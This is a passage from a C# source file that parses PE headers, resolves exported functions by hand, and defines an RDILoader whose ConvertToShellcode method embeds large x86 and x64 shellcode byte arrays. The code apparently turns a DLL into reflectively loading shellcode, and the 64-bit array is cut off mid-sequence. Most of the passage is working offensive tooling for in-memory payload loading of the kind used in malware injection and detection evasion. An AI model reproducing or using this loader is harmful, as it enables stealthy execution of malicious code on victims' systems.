449 | if (dwRva < SectionHeader.PointerToRawData)
450 | return (IntPtr)((UInt64)dwRva + (UInt64)PEPointer);
451 |
452 | for (wIndex = 0; wIndex < wNumberOfSections; wIndex++)
453 | {
454 | SectionHeader = (IMAGE_SECTION_HEADER)Marshal.PtrToStructure((IntPtr)((uint)imageSectionPtr + (uint)(sizeOfSectionHeader * (wIndex))), typeof(IMAGE_SECTION_HEADER));
455 | if (dwRva >= SectionHeader.VirtualAddress && dwRva < (SectionHeader.VirtualAddress + SectionHeader.SizeOfRawData))
456 | return (IntPtr)((UInt64)(dwRva - SectionHeader.VirtualAddress + SectionHeader.PointerToRawData) + (UInt64)PEPointer);
457 | }
458 |
459 | return IntPtr.Zero;
460 | }
461 |
462 | public static unsafe bool Is64BitDLL(byte[] dllBytes)
463 | {
464 | bool is64Bit = false;
465 | GCHandle scHandle = GCHandle.Alloc(dllBytes, GCHandleType.Pinned);
466 | IntPtr scPointer = scHandle.AddrOfPinnedObject();
467 |
468 | IMAGE_DOS_HEADER dosHeader = (IMAGE_DOS_HEADER)Marshal.PtrToStructure(scPointer, typeof(IMAGE_DOS_HEADER));
469 |
470 | IntPtr NtHeadersPtr = (IntPtr)((UInt64)scPointer + (UInt64)dosHeader.e_lfanew);
471 |
472 | var imageNtHeaders64 = (IMAGE_NT_HEADERS64)Marshal.PtrToStructure(NtHeadersPtr, typeof(IMAGE_NT_HEADERS64));
473 | var imageNtHeaders32 = (IMAGE_NT_HEADERS)Marshal.PtrToStructure(NtHeadersPtr, typeof(IMAGE_NT_HEADERS));
474 |
475 | if (imageNtHeaders64.Signature != 0x00004550)
476 | throw new ApplicationException("Invalid IMAGE_NT_HEADER signature.");
477 |
478 | if (imageNtHeaders64.OptionalHeader.Magic == MagicType.IMAGE_NT_OPTIONAL_HDR64_MAGIC) is64Bit = true;
479 |
480 | scHandle.Free();
481 |
482 | return is64Bit;
483 | }
484 |
485 | public static unsafe IntPtr GetProcAddressR(IntPtr PEPointer, string functionName)
486 | {
487 | bool is64Bit = false;
488 |
489 | IMAGE_DOS_HEADER dosHeader = (IMAGE_DOS_HEADER)Marshal.PtrToStructure(PEPointer, typeof(IMAGE_DOS_HEADER));
490 |
491 | IntPtr NtHeadersPtr = (IntPtr)((UInt64)PEPointer + (UInt64)dosHeader.e_lfanew);
492 |
493 | var imageNtHeaders64 = (IMAGE_NT_HEADERS64)Marshal.PtrToStructure(NtHeadersPtr, typeof(IMAGE_NT_HEADERS64));
494 | var imageNtHeaders32 = (IMAGE_NT_HEADERS)Marshal.PtrToStructure(NtHeadersPtr, typeof(IMAGE_NT_HEADERS));
495 |
496 | if (imageNtHeaders64.Signature != 0x00004550)
497 | throw new ApplicationException("Invalid IMAGE_NT_HEADER signature.");
498 |
499 | if (imageNtHeaders64.OptionalHeader.Magic == MagicType.IMAGE_NT_OPTIONAL_HDR64_MAGIC) is64Bit = true;
500 |
501 | IntPtr ExportTablePtr;
502 |
503 | if (is64Bit)
504 | {
505 | if ((imageNtHeaders64.FileHeader.Characteristics & 0x2000) != 0x2000)
506 | throw new ApplicationException("File is not a DLL, Exiting.");
507 |
508 | ExportTablePtr = (IntPtr)((UInt64)PEPointer + (UInt64)imageNtHeaders64.OptionalHeader.ExportTable.VirtualAddress);
509 | }
510 | else
511 | {
512 | if ((imageNtHeaders32.FileHeader.Characteristics & 0x2000) != 0x2000)
513 | throw new ApplicationException("File is not a DLL, Exiting.");
514 |
515 | ExportTablePtr = (IntPtr)((UInt64)PEPointer + (UInt64)imageNtHeaders32.OptionalHeader.ExportTable.VirtualAddress);
516 | }
517 |
518 | IMAGE_EXPORT_DIRECTORY ExportTable = (IMAGE_EXPORT_DIRECTORY)Marshal.PtrToStructure(ExportTablePtr, typeof(IMAGE_EXPORT_DIRECTORY));
519 |
520 | for (int i = 0; i < ExportTable.NumberOfNames; i++)
521 | {
522 | IntPtr NameOffsetPtr = (IntPtr)((ulong)PEPointer + (ulong)ExportTable.AddressOfNames);
523 | NameOffsetPtr += (i * Marshal.SizeOf(typeof(UInt32)));
524 | IntPtr NamePtr = (IntPtr)((ulong)PEPointer + (uint)Marshal.PtrToStructure(NameOffsetPtr, typeof(uint)));
525 |
526 | string Name = Marshal.PtrToStringAnsi(NamePtr);
527 |
528 | if (Name.Contains(functionName))
529 | {
530 | IntPtr AddressOfFunctions = (IntPtr)((ulong)PEPointer + (ulong)ExportTable.AddressOfFunctions);
531 | IntPtr OrdinalRvaPtr = (IntPtr)((ulong)PEPointer + (ulong)(ExportTable.AddressOfNameOrdinals + (i * Marshal.SizeOf(typeof(UInt16)))));
532 | UInt16 FuncIndex = (UInt16)Marshal.PtrToStructure(OrdinalRvaPtr, typeof(UInt16));
533 | IntPtr FuncOffsetLocation = (IntPtr)((ulong)AddressOfFunctions + (ulong)(FuncIndex * Marshal.SizeOf(typeof(UInt32))));
534 | IntPtr FuncLocationInMemory = (IntPtr)((ulong)PEPointer + (uint)Marshal.PtrToStructure(FuncOffsetLocation, typeof(UInt32)));
535 |
536 | return FuncLocationInMemory;
537 | }
538 | }
539 | return IntPtr.Zero;
540 | }
541 | }
542 |
543 | public static class RDILoader
544 | {
545 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
546 | delegate IntPtr ReflectiveLoader();
547 |
548 | [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
549 | delegate bool ExportedFunction(IntPtr userData, uint userLength);
550 |
551 | public static byte[] ConvertToShellcode(byte[] dllBytes, uint functionHash, byte[] userData, uint flags)
552 | {
553 | var rdiShellcode32 = new byte[] { 0x83, 0xEC, 0x48, 0x83, 0x64, 0x24, 0x18, 0x00, 0xB9, 0x4C, 0x77, 0x26, 0x07, 0x53, 0x55, 0x56, 0x57, 0x33, 0xF6, 0xE8, 0x22, 0x04, 0x00, 0x00, 0xB9, 0x49, 0xF7, 0x02, 0x78, 0x89, 0x44, 0x24, 0x1C, 0xE8, 0x14, 0x04, 0x00, 0x00, 0xB9, 0x58, 0xA4, 0x53, 0xE5, 0x89, 0x44, 0x24, 0x20, 0xE8, 0x06, 0x04, 0x00, 0x00, 0xB9, 0x10, 0xE1, 0x8A, 0xC3, 0x8B, 0xE8, 0xE8, 0xFA, 0x03, 0x00, 0x00, 0xB9, 0xAF, 0xB1, 0x5C, 0x94, 0x89, 0x44, 0x24, 0x2C, 0xE8, 0xEC, 0x03, 0x00, 0x00, 0xB9, 0x33, 0x00, 0x9E, 0x95, 0x89, 0x44, 0x24, 0x30, 0xE8, 0xDE, 0x03, 0x00, 0x00, 0x8B, 0xD8, 0x8B, 0x44, 0x24, 0x5C, 0x8B, 0x78, 0x3C, 0x03, 0xF8, 0x89, 0x7C, 0x24, 0x10, 0x81, 0x3F, 0x50, 0x45, 0x00, 0x00, 0x74, 0x07, 0x33, 0xC0, 0xE9, 0xB8, 0x03, 0x00, 0x00, 0xB8, 0x4C, 0x01, 0x00, 0x00, 0x66, 0x39, 0x47, 0x04, 0x75, 0xEE, 0xF6, 0x47, 0x38, 0x01, 0x75, 0xE8, 0x0F, 0xB7, 0x57, 0x06, 0x0F, 0xB7, 0x47, 0x14, 0x85, 0xD2, 0x74, 0x22, 0x8D, 0x4F, 0x24, 0x03, 0xC8, 0x83, 0x79, 0x04, 0x00, 0x8B, 0x01, 0x75, 0x05, 0x03, 0x47, 0x38, 0xEB, 0x03, 0x03, 0x41, 0x04, 0x3B, 0xC6, 0x0F, 0x47, 0xF0, 0x83, 0xC1, 0x28, 0x83, 0xEA, 0x01, 0x75, 0xE3, 0x8D, 0x44, 0x24, 0x34, 0x50, 0xFF, 0xD3, 0x8B, 0x44, 0x24, 0x38, 0x8B, 0x5F, 0x50, 0x8D, 0x50, 0xFF, 0x8D, 0x48, 0xFF, 0xF7, 0xD2, 0x48, 0x03, 0xCE, 0x03, 0xC3, 0x23, 0xCA, 0x23, 0xC2, 0x3B, 0xC1, 0x75, 0x97, 0x6A, 0x04, 0x68, 0x00, 0x30, 0x00, 0x00, 0x53, 0x6A, 0x00, 0xFF, 0xD5, 0x8B, 0x77, 0x54, 0x8B, 0xD8, 0x8B, 0x44, 0x24, 0x5C, 0x33, 0xC9, 0x89, 0x44, 0x24, 0x14, 0x8B, 0xD3, 0x33, 0xC0, 0x89, 0x5C, 0x24, 0x18, 0x40, 0x89, 0x44, 0x24, 0x24, 0x85, 0xF6, 0x74, 0x37, 0x8B, 0x6C, 0x24, 0x6C, 0x8B, 0x5C, 0x24, 0x14, 0x23, 0xE8, 0x4E, 0x85, 0xED, 0x74, 0x19, 0x8B, 0xC7, 0x2B, 0x44, 0x24, 0x5C, 0x3B, 0xC8, 0x73, 0x0F, 0x83, 0xF9, 0x3C, 0x72, 0x05, 0x83, 0xF9, 0x3E, 0x76, 0x05, 0xC6, 0x02, 0x00, 0xEB, 0x04, 0x8A, 0x03, 0x88, 0x02, 0x41, 0x43, 0x42, 0x85, 0xF6, 0x75, 0xD7, 0x8B, 0x5C, 0x24, 0x18, 0x0F, 0xB7, 0x47, 0x06, 0x0F, 0xB7, 0x4F, 0x14, 0x85, 0xC0, 0x74, 0x38, 0x83, 0xC7, 0x2C, 0x03, 0xCF, 0x8B, 0x7C, 0x24, 0x5C, 0x8B, 0x51, 0xF8, 0x48, 0x8B, 0x31, 0x03, 0xD3, 0x8B, 0x69, 0xFC, 0x03, 0xF7, 0x89, 0x44, 0x24, 0x5C, 0x85, 0xED, 0x74, 0x0F, 0x8A, 0x06, 0x88, 0x02, 0x42, 0x46, 0x83, 0xED, 0x01, 0x75, 0xF5, 0x8B, 0x44, 0x24, 0x5C, 0x83, 0xC1, 0x28, 0x85, 0xC0, 0x75, 0xD5, 0x8B, 0x7C, 0x24, 0x10, 0x8B, 0xB7, 0x80, 0x00, 0x00, 0x00, 0x03, 0xF3, 0x89, 0x74, 0x24, 0x14, 0x8B, 0x46, 0x0C, 0x85, 0xC0, 0x74, 0x7D, 0x03, 0xC3, 0x50, 0xFF, 0x54, 0x24, 0x20, 0x8B, 0x6E, 0x10, 0x8B, 0xF8, 0x8B, 0x06, 0x03, 0xEB, 0x03, 0xC3, 0x89, 0x44, 0x24, 0x5C, 0x83, 0x7D, 0x00, 0x00, 0x74, 0x4F, 0x8B, 0x74, 0x24, 0x20, 0x8B, 0x08, 0x85, 0xC9, 0x74, 0x1E, 0x79, 0x1C, 0x8B, 0x47, 0x3C, 0x0F, 0xB7, 0xC9, 0x8B, 0x44, 0x38, 0x78, 0x2B, 0x4C, 0x38, 0x10, 0x8B, 0x44, 0x38, 0x1C, 0x8D, 0x04, 0x88, 0x8B, 0x04, 0x38, 0x03, 0xC7, 0xEB, 0x0C, 0x8B, 0x45, 0x00, 0x83, 0xC0, 0x02, 0x03, 0xC3, 0x50, 0x57, 0xFF, 0xD6, 0x89, 0x45, 0x00, 0x83, 0xC5, 0x04, 0x8B, 0x44, 0x24, 0x5C, 0x83, 0xC0, 0x04, 0x89, 0x44, 0x24, 0x5C, 0x83, 0x7D, 0x00, 0x00, 0x75, 0xB9, 0x8B, 0x74, 0x24, 0x14, 0x8B, 0x46, 0x20, 0x83, 0xC6, 0x14, 0x89, 0x74, 0x24, 0x14, 0x85, 0xC0, 0x75, 0x87, 0x8B, 0x7C, 0x24, 0x10, 0x8B, 0xEB, 0x2B, 0x6F, 0x34, 0x83, 0xBF, 0xA4, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x84, 0xAA, 0x00, 0x00, 0x00, 0x8B, 0x97, 0xA0, 0x00, 0x00, 0x00, 0x03, 0xD3, 0x89, 0x54, 0x24, 0x5C, 0x8D, 0x4A, 0x04, 0x8B, 0x01, 0x89, 0x4C, 0x24, 0x14, 0x85, 0xC0, 0x0F, 0x84, 0x8D, 0x00, 0x00, 0x00, 0x8B, 0x32, 0x8D, 0x78, 0xF8, 0x03, 0xF3, 0x8D, 0x42, 0x08, 0xD1, 0xEF, 0x89, 0x44, 0x24, 0x20, 0x74, 0x60, 0x6A, 0x02, 0x8B, 0xD8, 0x5A, 0x0F, 0xB7, 0x0B, 0x4F, 0x66, 0x8B, 0xC1, 0x66, 0xC1, 0xE8, 0x0C, 0x66, 0x83, 0xF8, 0x0A, 0x74, 0x06, 0x66, 0x83, 0xF8, 0x03, 0x75, 0x0B, 0x81, 0xE1, 0xFF, 0x0F, 0x00, 0x00, 0x01, 0x2C, 0x31, 0xEB, 0x27, 0x66, 0x3B, 0x44, 0x24, 0x24, 0x75, 0x11, 0x81, 0xE1, 0xFF, 0x0F, 0x00, 0x00, 0x8B, 0xC5, 0xC1, 0xE8, 0x10, 0x66, 0x01, 0x04, 0x31, 0xEB, 0x0F, 0x66, 0x3B, 0xC2, 0x75, 0x0A, 0x81, 0xE1, 0xFF, 0x0F, 0x00, 0x00, 0x66, 0x01, 0x2C, 0x31, 0x03, 0xDA, 0x85, 0xFF, 0x75, 0xB1, 0x8B, 0x5C, 0x24, 0x18, 0x8B, 0x54, 0x24, 0x5C, 0x8B, 0x4C, 0x24, 0x14, 0x03, 0x11, 0x89, 0x54, 0x24, 0x5C, 0x8D, 0x4A, 0x04, 0x8B, 0x01, 0x89, 0x4C, 0x24, 0x14, 0x85, 0xC0, 0x0F, 0x85, 0x77, 0xFF, 0xFF, 0xFF, 0x8B, 0x7C, 0x24, 0x10, 0x0F, 0xB7, 0x47, 0x06, 0x0F, 0xB7, 0x4F, 0x14, 0x85, 0xC0, 0x0F, 0x84, 0xB7, 0x00, 0x00, 0x00, 0x8B, 0x74, 0x24, 0x5C, 0x8D, 0x6F, 0x3C, 0x03, 0xE9, 0x48, 0x83, 0x7D, 0xEC, 0x00, 0x89, 0x44, 0x24, 0x24, 0x0F, 0x86, 0x94, 0x00, 0x00, 0x00, 0x8B, 0x4D, 0x00, 0x33, 0xD2, 0x42, 0x8B, 0xC1, 0xC1, 0xE8, 0x1D, 0x23, 0xC2, 0x8B, 0xD1, 0xC1, 0xEA, 0x1E, 0x83, 0xE2, 0x01, 0xC1, 0xE9, 0x1F, 0x85, 0xC0, 0x75, 0x18, 0x85, 0xD2, 0x75, 0x07, 0x6A, 0x08, 0x5E, 0x6A, 0x01, 0xEB, 0x05, 0x6A, 0x04, 0x5E, 0x6A, 0x02, 0x85, 0xC9, 0x58, 0x0F, 0x44, 0xF0, 0xEB, 0x2C, 0x85, 0xD2, 0x75, 0x17, 0x85, 0xC9, 0x75, 0x04, 0x6A, 0x10, 0xEB, 0x15, 0x85, 0xD2, 0x75, 0x0B, 0x85, 0xC9, 0x74, 0x18, 0xBE, 0x80, 0x00, 0x00, 0x00, 0xEB, 0x11, 0x85, 0xC9, 0x75, 0x05, 0x6A, 0x20, 0x5E, 0xEB, 0x08, 0x6A, 0x40, 0x85, 0xC9, 0x58, 0x0F, 0x45, 0xF0, 0x8B, 0x4D, 0x00, 0x8B, 0xC6, 0x0D, 0x00, 0x02, 0x00, 0x00, 0x81, 0xE1, 0x00, 0x00, 0x00, 0x04, 0x0F, 0x44, 0xC6, 0x8B, 0xF0, 0x8D, 0x44, 0x24, 0x28, 0x50, 0x8B, 0x45, 0xE8, 0x56, 0xFF, 0x75, 0xEC, 0x03, 0xC3, 0x50, 0xFF, 0x54, 0x24, 0x3C, 0x85, 0xC0, 0x0F, 0x84, 0xEC, 0xFC, 0xFF, 0xFF, 0x8B, 0x44, 0x24, 0x24, 0x83, 0xC5, 0x28, 0x85, 0xC0, 0x0F, 0x85, 0x52, 0xFF, 0xFF, 0xFF, 0x8B, 0x77, 0x28, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0xFF, 0x03, 0xF3, 0xFF, 0x54, 0x24, 0x3C, 0x33, 0xC0, 0x40, 0x50, 0x50, 0x53, 0xFF, 0xD6, 0x83, 0x7C, 0x24, 0x60, 0x00, 0x74, 0x7C, 0x83, 0x7F, 0x7C, 0x00, 0x74, 0x76, 0x8B, 0x4F, 0x78, 0x03, 0xCB, 0x8B, 0x41, 0x18, 0x85, 0xC0, 0x74, 0x6A, 0x83, 0x79, 0x14, 0x00, 0x74, 0x64, 0x8B, 0x69, 0x20, 0x8B, 0x79, 0x24, 0x03, 0xEB, 0x83, 0x64, 0x24, 0x5C, 0x00, 0x03, 0xFB, 0x85, 0xC0, 0x74, 0x51, 0x8B, 0x75, 0x00, 0x03, 0xF3, 0x33, 0xD2, 0x0F, 0xBE, 0x06, 0xC1, 0xCA, 0x0D, 0x03, 0xD0, 0x46, 0x80, 0x7E, 0xFF, 0x00, 0x75, 0xF1, 0x39, 0x54, 0x24, 0x60, 0x74, 0x16, 0x8B, 0x44, 0x24, 0x5C, 0x83, 0xC5, 0x04, 0x40, 0x83, 0xC7, 0x02, 0x89, 0x44, 0x24, 0x5C, 0x3B, 0x41, 0x18, 0x72, 0xD0, 0xEB, 0x1F, 0x0F, 0xB7, 0x17, 0x83, 0xFA, 0xFF, 0x74, 0x17, 0x8B, 0x41, 0x1C, 0xFF, 0x74, 0x24, 0x68, 0xFF, 0x74, 0x24, 0x68, 0x8D, 0x04, 0x90, 0x8B, 0x04, 0x18, 0x03, 0xC3, 0xFF, 0xD0, 0x59, 0x59, 0x8B, 0xC3, 0x5F, 0x5E, 0x5D, 0x5B, 0x83, 0xC4, 0x48, 0xC3, 0x83, 0xEC, 0x10, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x53, 0x55, 0x56, 0x8B, 0x40, 0x0C, 0x57, 0x89, 0x4C, 0x24, 0x18, 0x8B, 0x70, 0x0C, 0xE9, 0x8A, 0x00, 0x00, 0x00, 0x8B, 0x46, 0x30, 0x33, 0xC9, 0x8B, 0x5E, 0x2C, 0x8B, 0x36, 0x89, 0x44, 0x24, 0x14, 0x8B, 0x42, 0x3C, 0x8B, 0x6C, 0x10, 0x78, 0x89, 0x6C, 0x24, 0x10, 0x85, 0xED, 0x74, 0x6D, 0xC1, 0xEB, 0x10, 0x33, 0xFF, 0x85, 0xDB, 0x74, 0x1F, 0x8B, 0x6C, 0x24, 0x14, 0x8A, 0x04, 0x2F, 0xC1, 0xC9, 0x0D, 0x3C, 0x61, 0x0F, 0xBE, 0xC0, 0x7C, 0x03, 0x83, 0xC1, 0xE0, 0x03, 0xC8, 0x47, 0x3B, 0xFB, 0x72, 0xE9, 0x8B, 0x6C, 0x24, 0x10, 0x8B, 0x44, 0x2A, 0x20, 0x33, 0xDB, 0x8B, 0x7C, 0x2A, 0x18, 0x03, 0xC2, 0x89, 0x7C, 0x24, 0x14, 0x85, 0xFF, 0x74, 0x31, 0x8B, 0x28, 0x33, 0xFF, 0x03, 0xEA, 0x83, 0xC0, 0x04, 0x89, 0x44, 0x24, 0x1C, 0x0F, 0xBE, 0x45, 0x00, 0xC1, 0xCF, 0x0D, 0x03, 0xF8, 0x45, 0x80, 0x7D, 0xFF, 0x00, 0x75, 0xF0, 0x8D, 0x04, 0x0F, 0x3B, 0x44, 0x24, 0x18, 0x74, 0x20, 0x8B, 0x44, 0x24, 0x1C, 0x43, 0x3B, 0x5C, 0x24, 0x14, 0x72, 0xCF, 0x8B, 0x56, 0x18, 0x85, 0xD2, 0x0F, 0x85, 0x6B, 0xFF, 0xFF, 0xFF, 0x33, 0xC0, 0x5F, 0x5E, 0x5D, 0x5B, 0x83, 0xC4, 0x10, 0xC3, 0x8B, 0x74, 0x24, 0x10, 0x8B, 0x44, 0x16, 0x24, 0x8D, 0x04, 0x58, 0x0F, 0xB7, 0x0C, 0x10, 0x8B, 0x44, 0x16, 0x1C, 0x8D, 0x04, 0x88, 0x8B, 0x04, 0x10, 0x03, 0xC2, 0xEB, 0xDB };
554 | var rdiShellcode64 = new byte[] { 0x48, 0x8B, 0xC4, 0x44, 0x89, 0x48, 0x20, 0x4C, 0x89, 0x40, 0x18, 0x89, 0x50, 0x10, 0x53, 0x55, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xEC, 0x78, 0x83, 0x60, 0x08, 0x00, 0x48, 0x8B, 0xE9, 0xB9, 0x4C, 0x77, 0x26, 0x07, 0x44, 0x8B, 0xFA, 0x33, 0xDB, 0xE8, 0xA4, 0x04, 0x00, 0x00, 0xB9, 0x49, 0xF7, 0x02, 0x78, 0x4C, 0x8B, 0xE8, 0xE8, 0x97, 0x04, 0x00, 0x00, 0xB9, 0x58, 0xA4, 0x53, 0xE5, 0x48, 0x89, 0x44, 0x24, 0x20, 0xE8, 0x88, 0x04, 0x00, 0x00, 0xB9, 0x10, 0xE1, 0x8A, 0xC3, 0x48, 0x8B, 0xF0, 0xE8, 0x7B, 0x04, 0x00, 0x00, 0xB9, 0xAF, 0xB1, 0x5C, 0x94, 0x48, 0x89, 0x44, 0x24, 0x30, 0xE8, 0x6C, 0x04, 0x00, 0x00, 0xB9, 0x33, 0x00, 0x9E, 0x95, 0x48, 0x89, 0x44, 0x24, 0x28, 0x4C, 0x8B, 0xE0, 0xE8, 0x5A, 0x04, 0x00, 0x00, 0x48, 0x63, 0x7D, 0x3C, 0x4C, 0x8B, 0xD0, 0x48, 0x03, 0xFD, 0x81, 0x3F, 0x50, 0x45, 0x00, 0x00, 0x74, 0x07, 0x33, 0xC0, 0xE9, 0x2D, 0x04, 0x00, 0x00, 0xB8, 0x64, 0x86, 0x00, 0x00, 0x66, 0x39, 0x47, 0x04, 0x75, 0xEE, 0x41, 0xBE, 0x01, 0x00, 0x00, 0x00, 0x44, 0x84, 0x77, 0x38, 0x75, 0xE2, 0x0F, 0xB7, 0x47, 0x06, 0x0F, 0xB7, 0x4F, 0x14, 0x44, 0x8B, 0x4F, 0x38, 0x85, 0xC0, 0x74, 0x2C, 0x48, 0x8D, 0x57, 0x24, 0x44, 0x8B, 0xC0, 0x48, 0x03, 0xD1, 0x8B, 0x4A, 0x04, 0x85, 0xC9, 0x75, 0x07, 0x8B, 0x02, 0x49, 0x03, 0xC1, 0xEB, 0x04, 0x8B, 0x02, 0x03, 0xC1, 0x48, 0x3B, 0xC3, 0x48, 0x0F, 0x47, 0xD8, 0x48, 0x83, 0xC2, 0x28, 0x4D, 0x2B, 0xC6, 0x75, 0xDE, 0x48, 0x8D, 0x4C, 0x24, 0x38, 0x41, 0xFF, 0xD2, 0x44, 0x8B, 0x44, 0x24, 0x3C, 0x44, 0x8B, 0x4F, 0x50, 0x41, 0x8D, 0x40, 0xFF, 0xF7, 0xD0, 0x41, 0x8D, 0x50, 0xFF, 0x41, 0x03, 0xD1, 0x49, 0x8D, 0x48, 0xFF, 0x48, 0x23, 0xD0, 0x48, 0x03, 0xCB, 0x49, 0x8D, 0x40, 0xFF, 0x48, 0xF7, 0xD0, 0x48, 0x23, 0xC8, 0x48, 0x3B, 0xD1, 0x0F, 0x85, 0x6B, 0xFF, 0xFF, 0xFF, 0x33, 0xC9, 0x41, 0x8B, 0xD1, 0x41, 0xB8, 0x00, 0x30, 0x00, 0x00, 0x44, 0x8D, 0x49, 0x04, 0xFF, 0xD6, 0x44, 0x8B, 0x47, 0x54, 0x33, 0xD2, 0x48, 0x8B, 0xF0, 0x4C, 0x8B, 0xD5, 0x48, 0x8B, 0xC8, 0x44, 0x8D, 0x5A, 0x02, 0x4D, 0x85, 0xC0, 0x74, 0x3F, 0x44, 0x8B, 0x8C, 0x24, 0xE0, 0x00, 0x00, 0x00, 0x45, 0x23, 0xCE, 0x4D, 0x2B, 0xC6, 0x45, 0x85, 0xC9, 0x74, 0x19, 0x48, 0x8B, 0xC7, 0x48, 0x2B, 0xC5, 0x48, 0x3B, 0xD0, 0x73, 0x0E, 0x48, 0x8D, 0x42, 0xC4, 0x49, 0x3B, 0xC3, 0x76, 0x05, 0xC6, 0x01, 0x00, 0xEB, 0x05, 0x41, 0x8A, 0x02, 0x88, 0x01, 0x49, 0x03, 0xD6, 0x4D, 0x03, 0xD6, 0x49, 0x03, 0xCE, 0x4D, 0x85, 0xC0, 0x75, 0xCC, 0x44, 0x0F, 0xB7, 0x57, 0x06, 0x0F, 0xB7, 0x47, 0x14, 0x4D, 0x85, 0xD2, 0x74, 0x38, 0x48, 0x8D, 0x4F, 0x2C, 0x48, 0x03, 0xC8, 0x8B, 0x51, 0xF8, 0x4D, 0x2B, 0xD6, 0x44, 0x8B, 0x01, 0x48, 0x03, 0xD6, 0x44, 0x8B, 0x49, 0xFC, 0x4C, 0x03, 0xC5, 0x4D, 0x85, 0xC9, 0x74, 0x10, 0x41, 0x8A, 0x00, 0x4D, 0x03, 0xC6, 0x88, 0x02, 0x49, 0x03, 0xD6, 0x4D, 0x2B, 0xCE, 0x75, 0xF0, 0x48, 0x83, 0xC1, 0x28, 0x4D, 0x85, 0xD2, 0x75, 0xCF, 0x8B, 0x9F, 0x90, 0x00, 0x00, 0x00, 0x48, 0x03, 0xDE, 0x8B, 0x43, 0x0C, 0x85, 0xC0, 0x0F, 0x84, 0x8A, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x6C, 0x24, 0x20, 0x8B, 0xC8, 0x48, 0x03, 0xCE, 0x41, 0xFF, 0xD5, 0x44, 0x8B, 0x3B, 0x4C, 0x8B, 0xE0, 0x44, 0x8B, 0x73, 0x10, 0x4C, 0x03, 0xFE, 0x4C, 0x03, 0xF6, 0xEB, 0x49, 0x49, 0x83, 0x3F, 0x00, 0x7D, 0x29, 0x49, 0x63, 0x44, 0x24, 0x3C, 0x41, 0x0F, 0xB7, 0x17, 0x42, 0x8B, 0x8C, 0x20, 0x88, 0x00, 0x00, 0x00, 0x42, 0x8B, 0x44, 0x21, 0x10, 0x42, 0x8B, 0x4C, 0x21, 0x1C, 0x48, 0x2B, 0xD0, 0x49, 0x03, 0xCC, 0x8B, 0x04, 0x91, 0x49, 0x03, 0xC4, 0xEB, 0x0F, 0x49, 0x8B, 0x16, 0x49, 0x8B, 0xCC, 0x48, 0x83, 0xC2, 0x02, 0x48, 0x03, 0xD6, 0xFF, 0xD5, 0x49, 0x89, 0x06, 0x49, 0x83, 0xC6, 0x08, 0x49, 0x83, 0xC7, 0x08, 0x49, 0x83, 0x3E, 0x00, 0x75, 0xB1, 0x8B, 0x43, 0x20, 0x48, 0x83, 0xC3, 0x14, 0x85, 0xC0, 0x75, 0x8C, 0x44, 0x8B, 0xBC, 0x24, 0xC8, 0x00, 0x00, 0x00, 0x44, 0x8D, 0x70, 0x01, 0x4C, 0x8B, 0x64, 0x24, 0x28, 0x4C, 0x8B, 0xCE, 0x41, 0xBD, 0x02, 0x00, 0x00, 0x00, 0x4C, 0x2B, 0x4F, 0x30, 0x83, 0xBF, 0xB4, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x84, 0x95, 0x00, 0x00, 0x00, 0x8B, 0x97, 0xB0, 0x00, 0x00, 0x00, 0x48, 0x03, 0xD6, 0x8B, 0x42, 0x04, 0x85, 0xC0, 0x0F, 0x84, 0x81, 0x00, 0x00, 0x00, 0xBB, 0xFF, 0x0F, 0x00, 0x00, 0x44, 0x8B, 0x02, 0x4C, 0x8D, 0x5A, 0x08, 0x44, 0x8B, 0xD0, 0x4C, 0x03, 0xC6, 0x49, 0x83, 0xEA, 0x08, 0x49, 0xD1, 0xEA, 0x74, 0x59, 0x41, 0x0F, 0xB7, 0x0B, 0x4D, 0x2B, 0xD6, 0x0F, 0xB7, 0xC1, 0x66, 0xC1, 0xE8, 0x0C, 0x66, 0x83, 0xF8, 0x0A, 0x75, 0x09, 0x48, 0x23, 0xCB, 0x4E, 0x01, 0x0C, 0x01, 0xEB, 0x34, 0x66, 0x83, 0xF8, 0x03, 0x75, 0x09, 0x48, 0x23, 0xCB, 0x46, 0x01, 0x0C, 0x01, 0xEB, 0x25, 0x66, 0x41, 0x3B, 0xC6, 0x75, 0x11, 0x48, 0x23, 0xCB, 0x49, 0x8B, 0xC1, 0x48, 0xC1, 0xE8, 0x10, 0x66, 0x42, 0x01, 0x04, 0x01, 0xEB, 0x0E, 0x66, 0x41, 0x3B, 0xC5, 0x75, 0x08, 0x48, 0x23, 0xCB, 0x66, 0x46, 0x01, 0x0C, 0x01, 0x4D, 0x03, 0xDD, 0x4D, 0x85, 0xD2, 0x75, 0xA7, 0x8B, 0x42, 0x04, 0x48, 0x03, 0xD0, 0x8B, 0x42, 0x04, 0x85, 0xC0, 0x75, 0x84, 0x0F, 0xB7, 0x6F, 0x06, 0x0F, 0xB7, 0x47, 0x14, 0x48, 0x85, 0xED, 0x0F, 0x84, 0xCF, 0x00, 0x00, 0x00, 0x8B, 0x9C, 0x24, 0xC0, 0x00, 0x00, 0x00, 0x4C, 0x8D, 0x77, 0x3C, 0x4C, 0x8B, 0x6C, 0x24, 0x30, 0x4C, 0x03, 0xF0, 0x48, 0xFF, 0xCD, 0x41, 0x83, 0x7E, 0xEC, 0x00, 0x0F, 0x86, 0x9D, 0x00, 0x00, 0x00, 0x45, 0x8B, 0x06, 0x41, 0x8B, 0xD0, 0xC1, 0xEA, 0x1E, 0x41, 0x8B, 0xC0, 0x41, 0x8B, 0xC8, 0xC1, 0xE8, 0x1D, 0x83, 0xE2, 0x01, 0xC1, 0xE9, 0x1F, 0x83, 0xE0, 0x01, 0x75, 0x1E, 0x85, 0xD2, 0x75, 0x0B, 0xF7, 0xD9, 0x1B, 0xDB, 0x83, 0xE3, 0x07, 0xFF, 0xC3, 0xEB, 0x3E, 0xF7, 0xD9, 0xB8, 0x02, 0x00, 0x00, 0x00, 0x1B, 0xDB, 0x23, 0xD8, 0x03, 0xD8, 0xEB, 0x2F, 0x85, 0xD2, 0x75, 0x18, 0x85, 0xC9, 0x75, 0x05, 0x8D, 0x5A, 0x10, 0xEB, 0x22, 0x85, 0xD2, 0x75, 0x0B, 0x85, 0xC9, 0x74, 0x1A, 0xBB, 0x80, 0x00, 0x00, 0x00, 0xEB, 0x13, 0x85, 